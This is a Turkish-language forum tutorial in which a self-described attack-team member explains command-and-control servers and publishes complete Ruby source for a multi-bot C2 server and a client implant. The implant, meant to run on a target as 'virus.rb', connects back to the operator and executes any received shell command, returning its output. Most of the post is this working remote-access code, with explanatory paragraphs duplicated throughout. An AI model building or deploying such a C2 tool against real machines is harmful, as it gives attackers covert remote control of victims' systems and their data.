Merhabalar ben saldırı timlerinden Bunjo, bu konuda C2 sunucusunun ne olduğu ve nasıl kodlandığını anlatacağım.
C2 Sunucusu Nedir?
C2 (Command and Control) sunucusu, genellikle bir siber saldırı veya casus yazılım operasyonu sırasında kullanılan bir sunucu türüdür. Bu sunucu, saldırganın hedef sistem üzerinde kontrol sağlamasına ve yönetmesine olanak tanır. C2 sunucusu, saldırganın hedef sisteme komutlar göndermesini, veri toplamasını ve saldırı operasyonunu koordine etmesini sağlar.
C2 sunucuları, siber suç faaliyetlerinde ve casus yazılım operasyonlarında kullanılabilir. Bu sunucular genellikle uzaktan yönetilen kötü amaçlı yazılımların (malware) kontrolünü sağlamak amacıyla kullanılır. Saldırganlar, enfekte etikleri bilgisayarlarla iletişim kurarak veri çalmak, sistemleri kontrol etmek,
zararlı yazılım güncellemeleri sağlamak ve saldırılarını başlatmak için C2 sunucularını kullanabilirler. C2 sunucularının tanımlı bir protokol ve iletişim yöntemi vardır ve saldırganlar genellikle bu protokolü kullanarak enfekte etikleri sistemlerle iletişim kurarlar.
Bu, saldırganların etkileşimde bulunmak ve hedef sistemleri kontrol etmek için bir ara yüz sağlamalarını sağlar.
Bu tür saldırıları önlemek için güvenlik önlemleri, güncel antivirüs yazılımları ve ağ güvenliği çözümleri gibi önlemler alınabilir. Ayrıca, düzenli olarak sistem güvenliği taramaları ve güvenlik açıklarının kapatılması gibi güvenlik uygulamaları da kullanılabilir.
C2 (Command and Control) sunucusu, genellikle bir siber saldırı veya casus yazılım operasyonu sırasında kullanılan bir sunucu türüdür. Bu sunucu, saldırganın hedef sistem üzerinde kontrol sağlamasına ve yönetmesine olanak tanır. C2 sunucusu, saldırganın hedef sisteme komutlar göndermesini, veri toplamasını ve saldırı operasyonunu koordine etmesini sağlar.
C2 sunucuları, siber suç faaliyetlerinde ve casus yazılım operasyonlarında kullanılabilir. Bu sunucular genellikle uzaktan yönetilen kötü amaçlı yazılımların (malware) kontrolünü sağlamak amacıyla kullanılır. Saldırganlar, enfekte etikleri bilgisayarlarla iletişim kurarak veri çalmak, sistemleri kontrol etmek,
zararlı yazılım güncellemeleri sağlamak ve saldırılarını başlatmak için C2 sunucularını kullanabilirler. C2 sunucularının tanımlı bir protokol ve iletişim yöntemi vardır ve saldırganlar genellikle bu protokolü kullanarak enfekte etikleri sistemlerle iletişim kurarlar.
Bu, saldırganların etkileşimde bulunmak ve hedef sistemleri kontrol etmek için bir ara yüz sağlamalarını sağlar.
Bu tür saldırıları önlemek için güvenlik önlemleri, güncel antivirüs yazılımları ve ağ güvenliği çözümleri gibi önlemler alınabilir. Ayrıca, düzenli olarak sistem güvenliği taramaları ve güvenlik açıklarının kapatılması gibi güvenlik uygulamaları da kullanılabilir.
Kod Aşaması
Yazacağımız sunucu birden fazla bağlantı barındırabilecek ve bağlantılar arasında geçiş işlemi yapıp istediği komutu çalıştırabilecek. Hedef "virus.rb" dosyasını çalıştıracaktır.
Ben paralel programlama ile işlemlerimi yapacağım için JRuby derleyicisini kullanıyorum. JRuby İmpelementasyonu
- server.rb -
İlk olarak C2Server adlı bir sınıf oluşturuyoruz ve içerisine kütüphanelerimizi ekliyoruz. Kullanılacak IP adresi ve PORT değerlerinizi aşağıda bulunan değişkenlere atama yaparak ayarlayabilirsiniz. clients aldı bir hash oluşturuyoruz burada da bağlantılarımı anahtar-değer çifti halinde saklayacağız.
Yazacağımız sunucu birden fazla bağlantı barındırabilecek ve bağlantılar arasında geçiş işlemi yapıp istediği komutu çalıştırabilecek. Hedef "virus.rb" dosyasını çalıştıracaktır.
Ben paralel programlama ile işlemlerimi yapacağım için JRuby derleyicisini kullanıyorum. JRuby İmpelementasyonu
- server.rb -
İlk olarak C2Server adlı bir sınıf oluşturuyoruz ve içerisine kütüphanelerimizi ekliyoruz. Kullanılacak IP adresi ve PORT değerlerinizi aşağıda bulunan değişkenlere atama yaparak ayarlayabilirsiniz. clients aldı bir hash oluşturuyoruz burada da bağlantılarımı anahtar-değer çifti halinde saklayacağız.
Ruby:
class C2Server
def initialize
require 'socket'
require 'readline'
require 'timeout'
@clients = {}
@LHOST = '0.0.0.0'
@LPORT = 9091
TCPServer metoduna HOST ve PORT değişkenleri vererek bir sunucu başlatıyoruz.
Ruby:
begin
@server_socket = TCPServer.new(@LHOST, @LPORT)
rescue Exception => server_socket_error
$stderr.puts("Error: #{server_socket_error}")
exit(1)
end
end
Programın kapatılması ve yardım çıktısı için fonksiyonlar tanımlıyoruz.
Ruby:
def close_program
$stdout.puts("Program closed!")
exit()
end
def print_help
help_text = <<-'HELP_TEXT'
help: print help message.
show: show all bots.
select bot: select a bot via index.
exit: close program.
close bot: close a bot.
back: return main.
HELP_TEXT
$stdout.puts(help_text)
end
Bağlantı kapatılması için gereken fonksiyon.
Ruby:
def close_bot
show_bots()
selection = Readline.readline("Close Bot (index): ").to_i - 1
if selection >= 0 && selection < @clients.length
selected_bot_ip = @clients.keys[selection]
selected_bot_socket = @clients[selected_bot_ip]
$stdout.puts("Closing Bot: #{selected_bot_ip}")
selected_bot_socket.close
@clients.delete(selected_bot_ip)
else
$stdout.puts("Invalid selection.")
end
end
show_bots() fonksiyonu çağrılır: Bu fonksiyon, bağlı olan botları (istemcileri) listeler ve kullanıcıya gösterir.
Readline.readline("Close Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu kapatma işlemi için seçim yapmasını bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.
if selection >= 0 && selection < @clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, bağlı olan bir botun kapatılması işlemine geçilir.
selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.
selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.
$stdout.puts("Closing Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun kapatılacağını belirten bir mesajı ekrana yazdırır.
selected_bot_socket.close: Seçilen botun soket bağlantısını kapatır.
@clients.delete(selected_bot_ip): Kapatılan botu clients hash tablosundan siler, böylece bu botun bilgileri artık sunucu tarafından tutulmaz.
else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.
Kullanıcı seçimleri için bir interaktif girdi fonksiyonu.
Readline.readline("Close Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu kapatma işlemi için seçim yapmasını bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.
if selection >= 0 && selection < @clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, bağlı olan bir botun kapatılması işlemine geçilir.
selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.
selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.
$stdout.puts("Closing Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun kapatılacağını belirten bir mesajı ekrana yazdırır.
selected_bot_socket.close: Seçilen botun soket bağlantısını kapatır.
@clients.delete(selected_bot_ip): Kapatılan botu clients hash tablosundan siler, böylece bu botun bilgileri artık sunucu tarafından tutulmaz.
else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.
Kullanıcı seçimleri için bir interaktif girdi fonksiyonu.
Ruby:
def user_interactive
loop do
@command = Readline.readline("Command: ").to_s
case @command.downcase
when "help"
print_help()
when "show"
show_bots()
when "select bot"
select_bot()
when "close bot"
close_bot()
when "exit"
close_program()
else
$stdout.puts("Command not found.")
end
end
end
loop do ifadesi, sonsuz bir döngü başlatır. Bu döngü, kullanıcının sürekli olarak komutlar girmesine olanak tanır.
command = Readline.readline("Command: ").to_s: Kullanıcıdan bir komut girmesini bekler ve bu komutu command değişkenine atar. Readline.readline fonksiyonu, kullanıcının terminalden girdiği bir satırı okur.
case command.downcase: Kullanıcının girdiği komutu küçük harfe çevirerek değerlendirir. Böylece büyük veya küçük harf farkı gözetmeksizin komutları kontrol edebilir.
when "help": Kullanıcının girdiği komut "help" ise, print_help() fonksiyonunu çağırarak yardım mesajını ekrana basar.
when "show": Kullanıcının girdiği komut "show" ise, show_bots() fonksiyonunu çağırarak bağlı olan botları listeler.
when "select bot": Kullanıcının girdiği komut "select bot" ise, select_bot() fonksiyonunu çağırarak bir botu seçmesine olanak tanır.
when "close bot": Kullanıcının girdiği komut "close bot" ise, close_bot() fonksiyonunu çağırarak bir bot bağlantısını kapatmasına izin verir.
when "exit": Kullanıcının girdiği komut "exit" ise, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.
else: Yukarıdaki durumlar dışında bir komut girildiğinde, $stdout.puts("Command not found.") ifadesiyle bilinmeyen bir komut girişi olduğunu belirten bir mesajı ekrana basar.
Bağlantı dinlemesi için gerekli fonksiyon
command = Readline.readline("Command: ").to_s: Kullanıcıdan bir komut girmesini bekler ve bu komutu command değişkenine atar. Readline.readline fonksiyonu, kullanıcının terminalden girdiği bir satırı okur.
case command.downcase: Kullanıcının girdiği komutu küçük harfe çevirerek değerlendirir. Böylece büyük veya küçük harf farkı gözetmeksizin komutları kontrol edebilir.
when "help": Kullanıcının girdiği komut "help" ise, print_help() fonksiyonunu çağırarak yardım mesajını ekrana basar.
when "show": Kullanıcının girdiği komut "show" ise, show_bots() fonksiyonunu çağırarak bağlı olan botları listeler.
when "select bot": Kullanıcının girdiği komut "select bot" ise, select_bot() fonksiyonunu çağırarak bir botu seçmesine olanak tanır.
when "close bot": Kullanıcının girdiği komut "close bot" ise, close_bot() fonksiyonunu çağırarak bir bot bağlantısını kapatmasına izin verir.
when "exit": Kullanıcının girdiği komut "exit" ise, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.
else: Yukarıdaki durumlar dışında bir komut girildiğinde, $stdout.puts("Command not found.") ifadesiyle bilinmeyen bir komut girişi olduğunu belirten bir mesajı ekrana basar.
Bağlantı dinlemesi için gerekli fonksiyon
Ruby:
def listen
$stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}")
loop do
begin
@client = @server_socket.accept()
Thread.new {handle_client(@client)}
Thread.new {user_interactive}
rescue Interrupt
close_program()
rescue Exception => accept_error
$stderr.puts("Error: #{accept_error}")
end
end
end
$stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}"): Kullanıcıya, sunucunun belirtilen IP adresi ve port numarasında bağlantıları dinlediğini belirten bir mesajı ekrana basar.
loop do: Sonsuz bir döngü başlatır. Bu döngü, sunucunun sürekli olarak bağlantılar beklemesini sağlar.
begin ... rescue: Döngü içinde bir hata olup olmadığını kontrol etmek için başka bir iç içe döngü başlatılır. Eğer bir hata olursa, rescue bloğu çalışır.
@client = @server_socket.accept(): TCPServer nesnesi üzerinden bağlantı bekler ve bir istemci bağlantısı oluşturulduğunda, bu bağlantıyı @client değişkenine atar.
Thread.new {handle_client(@client)}: Her bir yeni istemci bağlantısı için bir ayrı iş parçacığı (thread) oluşturur ve handle_client fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin aynı anda bağlı olmasına ve işlemlerin paralel olarak gerçekleşmesine olanak tanır.
Thread.new {user_interactive}: Her bir yeni istemci bağlantısı için ayrı bir iş parçacığı oluşturarak, user_interactive fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin bağlantısının kabul edildiği anda sunucu ile etkileşime geçebilmesini sağlar.
rescue Interrupt: Eğer kullanıcı bir "Interrupt" (genellikle Ctrl+C ile tetiklenir) yaparsa, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.
rescue Exception => accept_error: Bağlantı kabul sırasında bir hata olursa, hatayı yakalar ve hata mesajını $stderr üzerinden ekrana basar.
Bağlantı geldiği zaman gerekli anahtar-değer çiftlerini oluşturan fonksiyon.
loop do: Sonsuz bir döngü başlatır. Bu döngü, sunucunun sürekli olarak bağlantılar beklemesini sağlar.
begin ... rescue: Döngü içinde bir hata olup olmadığını kontrol etmek için başka bir iç içe döngü başlatılır. Eğer bir hata olursa, rescue bloğu çalışır.
@client = @server_socket.accept(): TCPServer nesnesi üzerinden bağlantı bekler ve bir istemci bağlantısı oluşturulduğunda, bu bağlantıyı @client değişkenine atar.
Thread.new {handle_client(@client)}: Her bir yeni istemci bağlantısı için bir ayrı iş parçacığı (thread) oluşturur ve handle_client fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin aynı anda bağlı olmasına ve işlemlerin paralel olarak gerçekleşmesine olanak tanır.
Thread.new {user_interactive}: Her bir yeni istemci bağlantısı için ayrı bir iş parçacığı oluşturarak, user_interactive fonksiyonunu bu iş parçacığında çalıştırır. Bu, her bir istemcinin bağlantısının kabul edildiği anda sunucu ile etkileşime geçebilmesini sağlar.
rescue Interrupt: Eğer kullanıcı bir "Interrupt" (genellikle Ctrl+C ile tetiklenir) yaparsa, close_program() fonksiyonunu çağırarak programı kapatır ve döngüden çıkar.
rescue Exception => accept_error: Bağlantı kabul sırasında bir hata olursa, hatayı yakalar ve hata mesajını $stderr üzerinden ekrana basar.
Bağlantı geldiği zaman gerekli anahtar-değer çiftlerini oluşturan fonksiyon.
Ruby:
def handle_client(client)
ip_address = client.peeraddr[3]
unless @clients.key?(ip_address)
@clients[ip_address] = client
$stdout.puts("New Bot: #{ip_address}")
end
end
Bağlı olan bağlantıların (ben burada bot olarak isimlendirdim) ekrana bastırıldığı fonksiyon.
Ruby:
def show_bots
if @clients.empty?
$stdout.puts("No bots connected.")
else
$stdout.puts("Connected Bots:")
@clients.each_with_index do |(ip, _), index|
$stdout.puts("#{index + 1}. #{ip}")
end
end
end
İnteraktif fonksiyon içerisinde çağrılıp kullanıcıya önce botları ekrana bastırıp daha bir seçim yaptıran fonksiyon.
Ruby:
def select_bot
show_bots()
selection = Readline.readline("Select Bot (index): ").to_i - 1
if selection >= 0 && selection < @clients.length
selected_bot_ip = @clients.keys[selection]
selected_bot_socket = @clients[selected_bot_ip]
$stdout.puts("Selected Bot: #{selected_bot_ip}")
loop do
code_to_exec = Readline.readline("Execute: ").to_s
if code_to_exec == "back"
break
else
send_message(selected_bot_socket, code_to_exec)
end
end
else
$stdout.puts("Invalid selection.")
end
end
show_bots() fonksiyonu çağrılır: Bu fonksiyon, bağlı olan botları listeler ve kullanıcıya gösterir.
Readline.readline("Select Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu seçmesini bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.
if selection >= 0 && selection < clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, seçilen bir bot işlemini gerçekleştirmek üzere else bloğuna geçilir.
selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.
selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.
$stdout.puts("Selected Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun seçildiğini belirten bir mesajı ekrana yazdırır.
loop do: Sonsuz bir döngü başlatır. Bu döngü, kullanıcının seçilen bot ile etkileşimde bulunabilmesini sağlar.
code_to_exec = Readline.readline("Execute: ").to_s: Kullanıcıdan bir komut veya işlem girmesini bekler ve bu girdiyi code_to_exec değişkenine atar.
if code_to_exec == "back": Eğer kullanıcı "back" yazarsa, döngüden çıkar ve select_bot fonksiyonunun ana menüsüne geri döner.
else: Yukarıdaki durumlar dışında bir komut girildiğinde, send_message(selected_bot_socket, code_to_exec) ifadesiyle seçilen botun soket bağlantısına kullanıcının girdiği komutu iletilir.
else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.
Kullanıcının girdiği mesajı (kodu) cliente (bota) yollayan fonksiyon.
Readline.readline("Select Bot (index): ").to_i - 1 ifadesi kullanıcıdan bir botu seçmesini bekler. Kullanıcıdan bir indeks girmesini ister ve bu indeksi bir sayıya dönüştürür. Girilen indeks 1 azaltılarak kullanıcıya daha rahat bir indeksleme imkanı sağlanır.
if selection >= 0 && selection < clients.length ifadesi, kullanıcının girdiği indeksin geçerli olup olmadığını kontrol eder. Eğer geçerli ise, seçilen bir bot işlemini gerçekleştirmek üzere else bloğuna geçilir.
selected_bot_ip = clients.keys[selection]: Seçilen botun IP adresini clients hash tablosundan alır.
selected_bot_socket = clients[selected_bot_ip]: Seçilen botun soket bağlantısını clients hash tablosundan alır.
$stdout.puts("Selected Bot: #{selected_bot_ip}"): Kullanıcıya hangi botun seçildiğini belirten bir mesajı ekrana yazdırır.
loop do: Sonsuz bir döngü başlatır. Bu döngü, kullanıcının seçilen bot ile etkileşimde bulunabilmesini sağlar.
code_to_exec = Readline.readline("Execute: ").to_s: Kullanıcıdan bir komut veya işlem girmesini bekler ve bu girdiyi code_to_exec değişkenine atar.
if code_to_exec == "back": Eğer kullanıcı "back" yazarsa, döngüden çıkar ve select_bot fonksiyonunun ana menüsüne geri döner.
else: Yukarıdaki durumlar dışında bir komut girildiğinde, send_message(selected_bot_socket, code_to_exec) ifadesiyle seçilen botun soket bağlantısına kullanıcının girdiği komutu iletilir.
else bloğu: Eğer kullanıcının girdiği indeks geçerli değilse, yetersiz veya hatalı bir giriş olduğunu belirten bir mesajı ekrana yazdırır.
Kullanıcının girdiği mesajı (kodu) cliente (bota) yollayan fonksiyon.
Ruby:
def send_message(socket, message)
begin
response = socket.puts(message)
Timeout.timeout(0.1) do
while (line = socket.gets)
$stdout.print(line)
break if line.chomp.empty?
end
end
rescue Timeout::Error
rescue => send_error
$stderr.puts("Error sending message: #{send_error}")
end
end
end
response = socket.puts(message): Belirtilen soket üzerinden puts fonksiyonu kullanılarak bir mesaj (komut veya veri) gönderilir. response değişkenine gönderilen mesajın durumu atanır.
Timeout.timeout(0.1) do ... end: Timeout modülü kullanılarak bir zaman sınırlaması oluşturulur. Bu blok içindeki işlemler, belirtilen süre boyunca çalışır ve süre aşılırsa Timeout::Error hatası oluşturulur.
while (line = socket.gets): Soket üzerinden botun yanıtını satır satır okumak için bir while döngüsü başlatılır.
$stdout.print(line): Botun yanıtı, standart çıktıya (ekrana) yazdırılır.
break if line.chomp.empty?: Eğer botun yanıtı boş bir satırsa (newline karakteri hariç), döngüden çıkılır.
rescue Timeout::Error: Eğer belirtilen süre içinde botun yanıtı alınamazsa, Timeout::Error hatası oluşur ve bu durumu işlemek için bir rescue bloğu başlatılır. Ancak, bu blokta herhangi bir işlem yapılmamış, yani hatanın sessizce geçilmiştir.
rescue => send_error: Gönderilen mesaj sırasında herhangi bir hata oluşursa, bu hata yakalanır ve hatanın mesajı standart hata çıktısına ($stderr) yazdırılır.
Banner (reklam gibi düşünebilirsiniz) fonksiyonu ve sınıfın tanımlanması.
Timeout.timeout(0.1) do ... end: Timeout modülü kullanılarak bir zaman sınırlaması oluşturulur. Bu blok içindeki işlemler, belirtilen süre boyunca çalışır ve süre aşılırsa Timeout::Error hatası oluşturulur.
while (line = socket.gets): Soket üzerinden botun yanıtını satır satır okumak için bir while döngüsü başlatılır.
$stdout.print(line): Botun yanıtı, standart çıktıya (ekrana) yazdırılır.
break if line.chomp.empty?: Eğer botun yanıtı boş bir satırsa (newline karakteri hariç), döngüden çıkılır.
rescue Timeout::Error: Eğer belirtilen süre içinde botun yanıtı alınamazsa, Timeout::Error hatası oluşur ve bu durumu işlemek için bir rescue bloğu başlatılır. Ancak, bu blokta herhangi bir işlem yapılmamış, yani hatanın sessizce geçilmiştir.
rescue => send_error: Gönderilen mesaj sırasında herhangi bir hata oluşursa, bu hata yakalanır ve hatanın mesajı standart hata çıktısına ($stderr) yazdırılır.
Banner (reklam gibi düşünebilirsiniz) fonksiyonu ve sınıfın tanımlanması.
Ruby:
def banner
banner_text = <<-'BANNER_TEXT'
+-
* +
' |
() .-.,="``"=. - o -
'=/_ BUNJO \ |
* | '=._ |
\ C2 `=./`, '
. '=.__.=' `=' *
+ +
O * ' .
BANNER_TEXT
$stdout.puts(banner_text)
end
banner()
c2_main = C2Server.new()
c2_main.listen()
server.rb için tüm kod:
Ruby:
class C2Server
def initialize
require 'socket'
require 'readline'
require 'timeout'
@clients = {}
@LHOST = '0.0.0.0'
@LPORT = 9091
begin
@server_socket = TCPServer.new(@LHOST, @LPORT)
rescue Exception => server_socket_error
$stderr.puts("Error: #{server_socket_error}")
exit(1)
end
end
def close_program
$stdout.puts("Program closed!")
exit()
end
def print_help
help_text = <<-'HELP_TEXT'
help: print help message.
show: show all bots.
select bot: select a bot via index.
exit: close program.
close bot: close a bot.
back: return main.
HELP_TEXT
$stdout.puts(help_text)
end
def close_bot
show_bots()
selection = Readline.readline("Close Bot (index): ").to_i - 1
if selection >= 0 && selection < @clients.length
selected_bot_ip = @clients.keys[selection]
selected_bot_socket = @clients[selected_bot_ip]
$stdout.puts("Closing Bot: #{selected_bot_ip}")
selected_bot_socket.close
@clients.delete(selected_bot_ip)
else
$stdout.puts("Invalid selection.")
end
end
def user_interactive
loop do
@command = Readline.readline("Command: ").to_s
case @command.downcase
when "help"
print_help()
when "show"
show_bots()
when "select bot"
select_bot()
when "close bot"
close_bot()
when "exit"
close_program()
else
$stdout.puts("Command not found.")
end
end
end
def listen
$stdout.puts("Listening connections on #{@LHOST}:#{@LPORT}")
loop do
begin
@client = @server_socket.accept()
Thread.new {handle_client(@client)}
Thread.new {user_interactive}
rescue Interrupt
close_program()
rescue Exception => accept_error
$stderr.puts("Error: #{accept_error}")
end
end
end
def handle_client(client)
ip_address = client.peeraddr[3]
unless @clients.key?(ip_address)
@clients[ip_address] = client
$stdout.puts("New Bot: #{ip_address}")
end
end
def show_bots
if @clients.empty?
$stdout.puts("No bots connected.")
else
$stdout.puts("Connected Bots:")
@clients.each_with_index do |(ip, _), index|
$stdout.puts("#{index + 1}. #{ip}")
end
end
end
def select_bot
show_bots()
selection = Readline.readline("Select Bot (index): ").to_i - 1
if selection >= 0 && selection < @clients.length
selected_bot_ip = @clients.keys[selection]
selected_bot_socket = @clients[selected_bot_ip]
$stdout.puts("Selected Bot: #{selected_bot_ip}")
loop do
code_to_exec = Readline.readline("Execute: ").to_s
if code_to_exec == "back"
break
else
send_message(selected_bot_socket, code_to_exec)
end
end
else
$stdout.puts("Invalid selection.")
end
end
def send_message(socket, message)
begin
response = socket.puts(message)
Timeout.timeout(0.1) do
while (line = socket.gets)
$stdout.print(line)
break if line.chomp.empty?
end
end
rescue Timeout::Error
rescue => send_error
$stderr.puts("Error sending message: #{send_error}")
end
end
end
def banner
banner_text = <<-'BANNER_TEXT'
+-
* +
' |
() .-.,="``"=. - o -
'=/_ BUNJO \ |
* | '=._ |
\ C2 `=./`, '
. '=.__.=' `=' *
+ +
O * ' .
BANNER_TEXT
$stdout.puts(banner_text)
end
banner()
c2_main = C2Server.new()
c2_main.listen()
Şimdi sıra client kısmında.
- client.rb -
C2Client adlı bir sınıf oluşturuyoruz.
- client.rb -
C2Client adlı bir sınıf oluşturuyoruz.
Ruby:
class C2Client
def initialize
require 'socket'
require 'open3'
end
Sonsuz döngü içerisinde sunucudan komutu alacak fonksiyon.
Ruby:
def get_command
loop do
command = @client_socket.gets
execute_command(command)
end
end
Gelen komutun sistemde çalıştırılıp çıktının sunucuya geri yollanması.
Ruby:
def execute_command(command)
begin
stdin, stdout, stderr = Open3.popen3(command)
result = stdout.read
@client_socket.puts(result)
rescue => e
exit(0)
end
end
def main
begin
@client_socket = TCPSocket.new('localhost', 9091)
get_command
rescue
end
end
end
client = C2Client.new()
client.main()
client.rb için tüm kod:
Ruby:
class C2Client
def initialize
require 'socket'
require 'open3'
end
def get_command
loop do
command = @client_socket.gets
execute_command(command)
end
end
def execute_command(command)
begin
stdin, stdout, stderr = Open3.popen3(command)
result = stdout.read
@client_socket.puts(result)
rescue => e
exit(0)
end
end
def main
begin
@client_socket = TCPSocket.new('localhost', 9091)
get_command
rescue
end
end
end
client = C2Client.new()
client.main()
Kullanım Örneği:
sunucunun başlatılması
hedefin sunucuya bağlanması. ve sunucu içerisinde hedefin seçilmesi.
Komut çalıştırmak.
Kodu saklama gibi kısımlara girmeden temel olarak basit bir sunucunun nasıl yazıldığını anlatmak istedim.
Okuyan herkese teşekkür ederim.
Github:
sunucunun başlatılması
hedefin sunucuya bağlanması. ve sunucu içerisinde hedefin seçilmesi.
Komut çalıştırmak.
Kodu saklama gibi kısımlara girmeden temel olarak basit bir sunucunun nasıl yazıldığını anlatmak istedim.
Okuyan herkese teşekkür ederim.
Github:
GitHub - thebunjo/C2-Ruby
Contribute to thebunjo/C2-Ruby development by creating an account on GitHub.
github.com
Son düzenleme: